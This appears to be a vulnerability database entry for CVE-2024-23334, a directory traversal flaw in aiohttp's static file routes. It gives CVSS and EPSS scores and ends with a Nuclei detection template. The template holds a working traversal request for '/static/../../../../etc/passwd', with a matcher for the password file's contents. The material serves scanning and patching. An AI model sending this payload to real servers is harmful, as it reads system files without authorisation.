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ProjectDiscoveryNUCLEI:CVE-2024-23334

HistoryFeb 28, 2024 - 4:56 a.m.

aiohttp - Directory Traversal

2024-02-2804:56:41

ProjectDiscovery

github.com

aiohttp

http client

asyncio

python

static routes

directory traversal

vulnerability

unauthorized access

fix

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

7.1 High

AI Score

Confidence

High

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

0.052 Low

EPSS

Percentile

92.9%

JSON

aiohttp is an asynchronous HTTP client/server framework for asyncio and Python. When using aiohttp as a web server and configuring static routes, it is necessary to specify the root path for static files. Additionally, the option 'follow_symlinks' can be used to determine whether to follow symbolic links outside the static root directory. When 'follow_symlinks' is set to True, there is no validation to check if reading a file is within the root directory. This can lead to directory traversal vulnerabilities, resulting in unauthorized access to arbitrary files on the system, even when symlinks are not present. Disabling follow_symlinks and using a reverse proxy are encouraged mitigations. Version 3.9.2 fixes this issue.

id: CVE-2024-23334

info:
  name: aiohttp - Directory Traversal
  author: DhiyaneshDk
  severity: high
  description: |
    aiohttp is an asynchronous HTTP client/server framework for asyncio and Python. When using aiohttp as a web server and configuring static routes, it is necessary to specify the root path for static files. Additionally, the option 'follow_symlinks' can be used to determine whether to follow symbolic links outside the static root directory. When 'follow_symlinks' is set to True, there is no validation to check if reading a file is within the root directory. This can lead to directory traversal vulnerabilities, resulting in unauthorized access to arbitrary files on the system, even when symlinks are not present. Disabling follow_symlinks and using a reverse proxy are encouraged mitigations. Version 3.9.2 fixes this issue.
  reference:
    - https://lists.fedoraproject.org/archives/list/[email protected]/message/ICUOCFGTB25WUT336BZ4UNYLSZOUVKBD/
    - https://lists.fedoraproject.org/archives/list/[email protected]/message/XXWVZIVAYWEBHNRIILZVB3R3SDQNNAA7/
    - https://x.com/W01fh4cker/status/1762491210953060827?s=20
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-23334
    cwe-id: CWE-22
    epss-score: 0.00073
    epss-percentile: 0.29411
    cpe: cpe:2.3:a:aiohttp:aiohttp:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: aiohttp
    product: aiohttp
  tags: cve,cve2024,aiohttp,lfi

http:
  - method: GET
    path:
      - '{{BaseURL}}/static/../../../../etc/passwd'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "aiohttp"
          - "application/octet-stream"
        condition: and

      - type: status
        status:
          - 200
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